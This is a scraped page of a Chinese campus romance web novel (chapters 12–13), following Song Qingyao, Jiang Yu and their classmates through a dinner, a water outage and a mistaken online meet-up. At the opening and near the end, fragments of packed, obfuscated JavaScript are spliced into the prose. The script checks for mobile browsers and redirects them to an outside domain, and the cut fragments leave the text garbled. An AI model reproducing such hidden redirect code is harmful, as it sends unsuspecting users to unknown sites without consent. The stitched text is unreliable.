RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033871|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样见色起意，多少还有点她自己的原因。 之前还没开学的时候，新生提前到校军训。 新校区没有完全竣工，学校严格管控进出人员，禁止学生点外卖。 白天站军姿，晚上饿肚子。宋清杳受不了这委屈，大晚上偏要点五人份的炸鸡。 她偷偷到路灯坏掉的围栏处拿，刚好遇上一道光从天而降，宋清杳和提着手电筒巡逻的保安大叔大眼对小眼。 外卖被她趁夜色藏进草丛，但人却被保安抓个正着。 和宋清杳一起被抓的还有五个人，其中三个都低头认错乖乖把外卖上缴了，可宋清杳死活不肯放弃她和炸鸡的这段缘分。 她瞥了眼，旁边还有个偷吃寿司的男生蹲在地上，似乎被芥末辣哭了，满脸鼻涕。 所以当保安质问她外卖下落的时候，宋清杳单手插兜，斜着脸，懒洋洋地说： "哪有什么外卖，他刚刚哭着说喜欢我呢。要不您留下来一起听？” 路灯半暗不暗，虫鸣撕心裂肺，经历过白天的燥热之后，晚风一直清爽到心窝里去。那一头乌黑卷发还残留着洗发水的清新香气，风衣在她小腿的位置翩翩飞动，衣带刚好掠过男生的肩膀。 周叔瑜抬头一看女孩的模样，哭声忽然就止住了。 也就是他哭得实在令人心惊，撕扯着嗓子，又难看又难听，不然也不会让保安都觉得尴尬，打着手电筒讪讪离开。 宋清杳如愿吃到外卖。 但现在，周叔瑜告诉她，那天是他这辈子第一次吃寿司。 周叔瑜假期留在学校打工，顺便为军训的新生当志愿者。期间被几个新生撺掇着拿外卖。 别人随手递给他一管芥末，他瞧着新鲜，以为和辣椒酱差不多，颜色看着很可爱，就在围栏边尝了一口。 那是很大的一口，没有人提醒他，或许别人也没想到周叔瑜会错估那团绿乎乎的东西的威力。 他是从小地方出来的，只知道芥末是辣的，他能吃辣，一口就吞了进去。但过于刺激的辛辣味冲上头顶，让他涕泗横流，丑态毕露。但更让他难受的是旁边人的笑声。 他们嘻嘻哈哈，说不会吧，你是不是傻啊，不会没吃过芥末吧，你哭得好丑啊。 上了大学之后，周叔瑜和同学一起聚餐、参加各大社团，第一次坐地铁，逛了无数个他只听过名字但在家乡不可能出现的名牌店，听别人轻描淡写地讲述出国旅行，他几乎以为自己和别人没有区别了。 可那时候的笑声刺破耳膜，把周叔瑜在大城市好不容易维持的体面狠狠扯破，他感觉自己几乎赤身裸体地出现在聚光灯下。他只想在地球上消失。 但宋清杳一句：“他刚刚哭着说喜欢我呢。” 那股子从芥末管里挤压出来的辛辣的自卑，那种不为人知的难堪和无助，就变成了一个让人津津乐道的八卦。让周叔瑜成了一个小绯闻的话题中心。 他哭，不再是因为没见识，而是因为宋清杳，这一届最漂亮的新生。谁不想为她而哭呢？ 宋清杳是个温柔的人，就连骂人的时候也一样。 她说他家里穷还能考上D大，应该骄傲。 她说他长得不丑，还算中等偏上。 周叔瑜差点以为自己遇到了真命天女，如果忽略宋清杳并不喜欢他这个因素存在的话。 饭局上，姜宇推拒了偶遇的熟人再次表达的心意，他以去洗手间为借口，从VIP包间离开，准备到走廊上透透气。 路过班级聚会的包间，他的脚步顿了顿，轻轻推开门打了个招呼。在众人喊学长的声音中，姜宇的目光扫视一圈，没有宋清杳。 应该是去洗手间了。 姜宇准备返回。还没走到目的地，就在走廊边缘，刚好听到一个熟悉的声音从尽头传来。 她在焦急地辩解。 “我不是故意说你喜欢我的，真的，我只是想吃外卖……” “而且我说的是你喜欢我，不是我喜欢你啊！” 12. 再次约见 宋清杳回去的时候，是团支书为所有人叫的车。 天已经黑了。客来酒楼门口的马路牙子停了一排网约车，大家按照顺序，分别架着喝醉的人上车。 班长郑鹏涛醉得不行，一手扶着墙吐，一手不忘冲她们挥了挥喊：“拜拜啊，以后咱就是同窗了，都是一家人。” “有事记得找哥，哥都能给你办了。” 没人能听清醉鬼在说什么。 谭笑和另一个女生拉开网约车的门，对宋清杳招手，叫她一起上车。却见她犹犹豫豫的，不断往停车场的方向看。 那边空空荡荡，只有一根似乎永远不会抬起的杆子，和显示屏上红色的欢迎光临。 谭笑问：“你还在等人吗？” 宋清杳也没想好。 毕竟姜宇来这里不是为了接送她，而是因为饭局。说不定他还没结束，或者已经走了，没有义务对她报备行程。 她点开微信，没发现新的消息，于是抬腿上车：“没有，我们走吧。” 司机开得很平稳，回去的时候同班的三个女生聊了一路。谭笑担心舍友的安全，问她出去那么长时间发生了什么，周叔瑜是不是又纠缠她了。 宋清杳回忆起那个很会哭的大个子，他只是看起来高高壮壮的，实际上内心敏感得很。也怪她自己，刚拿到自信秘籍的时候学艺不精，口无遮拦什么都敢说。 她叹了口气：“还好，我和他已经说清楚了，他以后应该不会再来找我了。” 另一个女生就聊起了姜宇。 据说在宋清杳出去的时间里，姜宇进来打了声招呼。虽然姜宇都没和生物班里的同学见过两面，但他居然能叫出几个人的名字。 他说刘东参加过计算机比赛，还拿过奖，算是小有名气。说张为来参加了羽毛球社团，他听另一个学长说起过他。还有另外两个同学，他夸他们成绩好。 当然成绩好。能考进D大的人，有谁是成绩不好的？ 姜宇短短停留了一会儿，简单点出几个人名，最后走的时候顺手把账单付了。笑容亲和，姿态潇洒，颇有学长风范。 理所当然地收获了一堆迷妹迷弟。 现在谭笑谈论姜宇的时候，已经隐隐投射出了崇拜的目光。 说起来，今天的饭也是姜宇请的。原本周叔瑜想结账，结果叫来服务员一问，姜宇已经结过了。当时大家一片惊讶说好帅，只有周叔瑜的脸色瞬间阴沉下来。 “他们两个到底有什么恩怨？”宋清杳搞不清楚，她听周叔瑜说过一半，但那个版本显然隐瞒了很多。 谭笑：“你不知道吗，周叔瑜以为自己没当上助教是姜宇搞的鬼，到处污蔑姜宇学长。结果姜宇根本不搭理他。后来他好像是骂了学长的家人，说得很难听。那个周叔瑜去的实验室还是姜宇学长给介绍的，这件事传出去之后，实验室的师兄们也开始不待见他了。” “姜宇的……家人？” “我也不清楚，听说姜宇有位老年痴呆的外婆还是奶奶来着，反正周叔瑜说了很不好听的话。” 是孙婆婆。宋清杳眼前瞬间浮现出一个身影。 窗外树影斜阳，老太太乖乖坐在病床上，一字一句地读着图画书。她字正腔圆，像初学拼音的小孩子。 忽然，她卡壳了，左右望了望，然后用做错事一样的目光怯怯看向宋清杳。宋清杳正在剥橘子，刚把一瓣甜滋滋的橘子放进嘴里，接着就过去帮婆婆读完，轻声细语的，告诉她这个字的拼音怎么拼。 顺畅地读完整个故事，老太太很高兴地鼓掌：“蕙兰，你真聪明！” 粗糙的手掌抚摸宋清杳的脸：“又聪明，又这么漂亮，为什么胆子这么小呢。” 然后就是熟悉的、说了一遍又一遍的那句话：“小蕙兰，想要什么就去做啊！你要是不勇敢的话，一辈子都会后悔的呀。” 孙婆婆的目光模糊不清，完全沉浸在自己的梦里。一个充满夸奖、学习和鼓励的梦，偶尔还会掺杂着乐于助人、见义勇为和别的什么。 如果不是宋清杳被孙婆婆以天降神兵的方式从流氓手里救下来，她根本不会相信，怎么会有人连神志不清的时候都这么善良可爱呢。 周叔瑜污蔑姜宇就算了，还欺负小老太太！宋清杳今天对他产生的一点点的同情心瞬间消失，认为这人绝对是罪有应得。 服务员拿着账单微笑推门而入，桌上的菜没动几口，空酒瓶倒是多了不少。这顿饭吃了不短的时间，当上到最后一道菜的时候，桌旁的人已经纷纷站起来送客。 其中一位戴金链子的中年男子，操着一口不地道的普通话，醉醺醺地凑上前：“小姜总，我让司机送你回去吧。” 姜宇疏离地避开：“张先生太客气了，我可不是什么小姜总。” 他推拒了那人端来的酒杯，再次示意自己开车来的不能喝酒。 那人打了个酒嗝，哈哈大笑：“大名鼎鼎的姜总的儿子，可不就是小姜总吗。我儿子也在D大进修，以后一定向小姜总多多学习。” 他左右的人也有眼色地恭维：“不愧是父子俩，小姜总也是青年才俊。” “不管传言如何，到底还是姓姜，亲父子才是一家人。姜总打下的基业，以后不都是小姜总的嘛。” 姜宇笑而不语。 金链子男趁势提出：“那件事能不能……” 话头却被人无情截断。姜宇提高声音，正色道：“张先生，已经说过很多次了，我出来做生意这件事，父亲并不知情。如果您对我的投资不是单纯因为这个项目，那恕我不能接受。” 那人的脸色有一瞬间的难看。 姜宇反而笑了笑，从容地拉开门要走。最后一秒才转身，像是没看见对方的神色一样，和缓地说：“不过下次见到父亲的时候，我可以代为转达张先生的心意。至于成或者不成，那就要看缘分了。” 对方马上松一口气。有了这一遭，他甚至比之前更加高兴，点头哈腰地说：“是是是，这个，心意到了就好，大家交个朋友嘛。” 一场饭局下来，没达成任何承诺，双方都满意得不得了。 只有一点小小的缺憾。 姜宇来到空荡荡的包间，问服务员这里的客人是什么时候走的。得到的答案是一小时前。 他看了看天色，果然已经晚了。目光在对话框上方犹豫几秒，想起来偷听到的那句话—— “我说的是你喜欢我，不是我喜欢你啊！” 女孩的声音像一阵风呼啸而过。 他倚靠在走廊侧壁，长腿斜斜地支撑，肩膀微微内扣。姜宇从兜里掏出来几粒薄荷糖，放进嘴里咬着。 打了字，最终删掉。 宋清杳的广告发到了各个群聊里，有校内的还有好不容易找来的游戏同好群、校外优惠团购群。范围已经从D大新校区延伸到了周边的学校、超市和居民区。 虽然优惠团购群管理员以禁止打广告的理由把她踢了出去，但这并不能阻挡她的热情。 加微信的赌约是一方面，但还有另外的事情令她牵挂。 枸杞大师是一位对自己的技术十分自信的大师，毕竟她卖的就是自信课程。孙婆婆和刘老头言传身教，为她把《成功女人必备的自信秘籍》这本书吃得透透的，枸杞大师现在认为自己无所不能，完全可以胜任别人的人生导师这一角色。 但是有些朋友遇到的问题确实让人揪心。自信秘籍里没有解决方法，鼓励和安慰完全不起作用，只能剑走偏锋。 毕竟刘老头曾经说过，不是他得了精神病，而是他主动选择了精神病，有时候大彻大悟也是一种另辟蹊径的解决方法。 宋清杳正在写大物作业，刚算出来一道题，就收到一条消息： 【这样真的可以吗？】 她放下笔，打字，< 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她尖叫着喊：“不许你欺负蕙兰！谁也不许欺负蕙兰。” “蕙兰！蕙兰别怕，我来救你了——” 男人被打了个措手不及，中途想要反击，但看见老婆婆身上写着市精神病院的病号服，灰溜溜捂着脑袋跑了。 平静下来之后，老太太捧着宋清杳的脸，泪流满面：“没事了，蕙兰，咱们回家，回家好不好。” 她的神情悲伤极了，谁见了都能感受到那股心痛。 马上，警察和医护人员赶到，现场非常混乱，他们面对精神病人如临大敌。但老婆婆似乎知道这些人不坏，没有伤害一个好人。 当婆婆被拧住胳膊抓回救护车的途中，她依旧憋不住地扭头，对身后的宋清杳喊：“蕙兰！你怎么不能勇敢一点呢，再勇敢一点点，就能回家了！” 蕙兰，应该是一个很重要的人吧，或许是婆婆的女儿？ 当时的宋清杳一句话都问不出来，但心里这么想。 可后来她从护工那里听说了蕙兰的故事，和她预想的不大相同。 但宋清杳学到了一个道理： 不勇敢，原来真的会后悔一辈子。 无冬春和枸杞大师的约定破灭之后，谁也没有先开口约下一次见面。 这件事的起因原本是为了填一张反诈宣传的单子，但许升平等不及，已经随便填了个表格交了上去。反正这也应该没人查，不重要。 姜宇也就偃旗息鼓。料想经过一次爽约之后，那骗子肯定不会再被约出来，毕竟对方也不是什么傻子。 但他晚上失眠，翻手机的时候，刚好看见群里枸杞大师新发的广告。广告中增加了一项心理咨询。 这骗子到底在搞什么？姜宇拧眉，片刻后又舒展开。 既然梁子已经结下了，那对方就别想好过。 【无冬春：大师，明天有时间吗？】 对方没好气地发过来： 【枸杞大师：有的亲亲，但是分情况，如果是面基的话就没时间，如果参加你的葬礼就有时间。】 姜宇从脑海里搜索了一下需要心理援助的人的语气。 【无冬春：不要生气好吗……我实在太难受了，想和大师说说心里话。但真的害怕你是骗子，请问到底要怎么样才能见一面，大师，拜托了。】 【枸杞大师：骗谁呢？那你先说说，上次为什么放我鸽子。】 根本难不倒姜宇，他面无表情： 【无冬春：其实是因为我爸爸去世了……对不起，没有遵守和你的约定。】 宋清杳面对手机屏幕，陷入哑然。 应该不会有人拿自己亲爹开死亡玩笑吧，那也太地狱了。 对面看起来还是很诚心的。 13. 她是骗子 宿舍门被推开，当安诗进来的时候，420正在进行接水大战。 水龙头和花洒头都被打开，宿舍仅有的四个盆都用上了，却还是不够，她们从楼下宿管阿姨处又借来两个桶备着。 安诗皱了皱鼻子：“今天停水？什么时候的通知？” 新校区的供水系统似乎有点问题，军训的时候就停过两天的水，当时大家出了满身汗都没有地方洗澡，所有人实打实臭了两天。 导致现在大家时刻紧张着停水消息，谁也不想重现当初臭烘烘的局面。 “四楼以上停水，你们三楼不停。快帮我提一下，太沉了。” 安诗的大长腿只需要走三步就稳稳接到了即将倾倒的水桶，她提起来掂了掂：“也没多沉，是你太虚。” 这种虽然难听但是实话的嘲讽，宋清杳已经听习惯了了。她体力确实不太好，稍微动几下就气喘吁吁。 “晚上八点就停，要停两天。”水龙头声音依旧哗哗地响，宋清杳扯着嗓子喊，“我下课就赶紧回来接水了，吃完饭还要在八点之前赶回来洗澡。” 安诗帮她把水桶移到空旷点的地方：“现在才六点多，时间绰绰有余，还是说你有别的事？” 水龙头关了一下，宋清杳在换盆接水的空隙小声说了句：“我要去拯救一个敏感脆弱的小妹妹。” “啊？”安诗没听清。 “就是那个网友！” 宋清杳昨天和无冬春聊了一下。对方用真情流露的文字诉说了自己悲惨贫穷的童年，说她父母离婚，母亲早逝，父亲不是个东西。无冬春因此患上了失眠和焦虑症，还被别人造谣欺负。据说她有一个非常光彩夺目的暗恋对象，暗恋了很多年，但她一见到对方就不敢说话。 无冬春实在太胆小了，所以很想要得到别人的鼓励和建议，最后她对枸杞大师说：哥哥，你一定很厉害，帮帮我吧！ 听了一番真挚的自我剖析之后，宋清杳总算对无冬春有所改观。 仔细一想，其实这个小妹妹也没有多恶劣，只是谨慎地不在网上相信别人而已。毕竟还是宋清杳先开始骂人的。 现在六点多，她和无冬春约定的是七点，那孩子最好准时到，不要耽误她洗澡。 她还在接水，安诗就准备离开，临走多问一句：“你确定不需要有人陪，万一那是个彪形大汉呢？” 宋清杳：“不可能，她讲自己的故事的时候遣词造句非常真诚细腻，我都写不出那种青春伤痛文学。” 她笃定：“就算是个男的也肯定是gay。” 安诗不再勉强：“结束之后到食堂一下，我今天在2号窗口打工，给你留饭。” “知道啦。” 宋清杳和舍友一起接完水，排了一下停水之前的时间表，四个人决定严格按照顺序洗澡。然后她就往和无冬春约定的地方走。 无冬春这个名字，一听就是个小姑娘。宋清杳琢磨着见了面怎么安慰她，然后趁机让她把答应的二百个微信好友兑现出来。 最重要的还是二百个微信，宋清杳可不想到了期末的时候，因为输掉赌约而又被讨厌的时活嘲讽一番。 她掐着时间下楼，给无冬春发了一条 【枸杞大师：我出发了，你也早点到。】 路上的人很多，但现在是饭点，大家都在往食堂走，像宋清杳这样没吃饭还要去体育馆的人倒没有几个。 迎面过来一个男生，戴着眼镜，圆脸，眼睛大大的，身高中等。快走两步向宋清杳这边来，笑着问：“去吃饭吗？” 语气熟稔，但宋清杳对他并不熟悉，只见过两面。她刚知道他的名字，是同班的团支书刘东。 宋清杳没有停下，点头致意：“不是，我去体育馆。” “好巧，我也要去体育馆。” 刘东调转了个方向，走到了宋清杳身侧，问她：“去打羽毛球吗，怎么没拿球拍。” 宋清杳默默离远了一点，说是去见一个朋友。 刘东见状保持了一定距离，但依然跟在她身后，一起往体育馆走。 进到体育馆里，要通过一条狭窄的走廊，上面一层是羽毛球场地，下去之后是空旷的篮球场地。 宋清杳径直走了下去。不过篮球场上冷气快散了，打篮球的人也走了，只剩下两个人在收拾东西。 她一眼望去，看不到无冬春，这里没一个女生。 “你现在找人的话，人很有可能不在。” 宋清杳一转头，是刘东靠在墙边说话。他虽然是圆眼睛，但直勾勾盯着别人的时候有种别样的精明感。 见宋清杳不打算解释，刘东扶了扶眼镜，接着道：“这个时间大家都去吃饭了，你要在这里等吗？” 其实体育馆的管理人员六点半就下班了，但现在门还没锁，灯也还没全关，进来坐一会儿也没什么大事。 宋清杳点点头，不多说。见观众席全是空座位，她上了两个台阶找了个干净的位置坐下。 刘东坐到她的下边一排玩手机，刚好就在她的脚边，两个人挨得很近。 宋清杳看了眼时间，给无冬春发消息：【说好了七点见面，你不会又放我鸽子吧？】 【无冬春：到了。】 宋清杳抬头，体育馆仅剩的两个收拾东西的男生也走了，入口处没有新人进来，现在偌大的场地只有她和刘东两个人。 她目光一转，盯住正捧着手机的刘东。对方也在这个时间点来到体育馆，难道说，无冬春竟然是他？ 宋清杳微微皱眉，她往右边挪动，悄无声息地坐到刘东的正后方，偷瞄了一眼他的手机屏幕。 不是消息框，是游戏解说界面。 她松了口气。她就说无冬春肯定是个小妹妹，就算不是妹妹，也应该是小姐姐！ 手机又收到了消息。 【无冬春：你不是自己一个人来的？】 【无冬春：我到门口了，你出来一下。】 姜宇来到约定的地方时，刚好遇到两个人抱着篮球出来，他侧了侧身避开，这个视角能看到体育馆内的全景。 篮球场上空空荡荡，一个人都没有。 观众席倒是坐了两个人，一男一女，都拿着手机不知道在干什么。 这个时间点人都去吃饭了，体育馆也没人打球，现在还出现在这里的人绝对有猫腻。 他仔细观察了那个男生，相貌平平，还戴着眼镜，十分符合姜宇心中骗子的形象。 就是稍微有些眼熟，好像是宋清杳的同班同学，名字叫刘东。 当他准备进去的时候，“骗子”旁边的女生忽然抬头，往这边看了一眼。 姜宇马上闪身躲到门外的石柱后面，没有和她进行目光接触。 体育馆的冷气已经关掉，姜宇背靠尚有一丝冰凉的石柱表面，微微蹙眉。 宋清杳的穿衣风格比较独特，她很喜欢鲜亮独特的款式，在人群中一眼就能认出来的小裙子。配合上她的大卷发、小凉鞋，还有她白里透红，一笑就让人心里甜滋滋的样貌。 漂亮得让人移不开眼，绝对不会被认错。 她怎么会出现在这里？ 姜宇马上给枸杞大师发消息，让他一个人出来。 他躲到石柱之后，马上就听见哒哒哒的脚步从篮球场地走出来。 宋清杳走到门口，仔仔细细望了一圈，看不着人。 她喊：“无冬春？无冬春小妹妹？” 没有人回应，外面天黑了，体育馆里灯也没开，略微有一点瘆人。 再往外走两步，推开体育馆大门，外面的空气像大理石台阶一样沉默。 她不信邪，转身，透过体育馆的玻璃门看到石柱那边好像有个人影晃动了一下。 宋清杳又喊了一遍：“无冬春？” 没有回应，看来那边也没人。 但宋清杳还是怀疑，盯着那根柱子看了很久，一步步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这几天，安诗刚好拿到了在食堂勤工俭学的机会。 像食堂这种做菜做一大锅的地方，总会有饭菜剩下来解决不了，最后被当做员工餐。 宋清杳到的时候已经快九点了，大部分人已经吃完饭离开，只剩下二楼的烧烤宵夜的摊子还亮着灯，窗口排着顾客。 而一些不怎么明亮的地方，食堂阿姨和大叔们拿着饭盆和铁勺，一勺一勺地瓜分剩下的肉菜。今天剩的肉比较多，大多数人已经吃完准备下班了。 安诗穿着印有食堂标志的围裙，在窗口里收拾盘子。一看见她来了，马上抡起铁勺舀了满满一大勺红烧肉，配着汤汁一起浇在米饭上。 她端着碗，跟宋清杳挥了挥手。 新校区位置比较偏，食堂阿姨都是在附近住的本地人，操着一口不怎么熟练的普通话。 其中有一个阿姨盯着安诗的动作，瘪着嘴就上去拦：“不是我说你们这群外地学生，几辈子没见过肉一样，这点小便宜也要占。” 安诗轻轻一闪身就躲了过去：“刘阿姨，你带孩子来吃的时候我可没有说过什么。还是说，今天剩下这么多菜，你打算留着明天继续卖？那要说好，到时候出了食品安全问题，我可要第一个汇报的。” 那阿姨急了：“你可不要随便乱讲，小姑娘积点口德。” 见阿姨不再阻拦，安诗就没有继续纠缠。她端着一碗盖浇饭放到了宋清杳面前，中途脚步一点都没有停下。 宋清杳干巴巴地在座位上听到二人的交涉，自己抽了双筷子却没敢下嘴，她往窗口看了一眼。 “你这样得罪食堂阿姨，以后打工，会不会被穿小鞋啊？”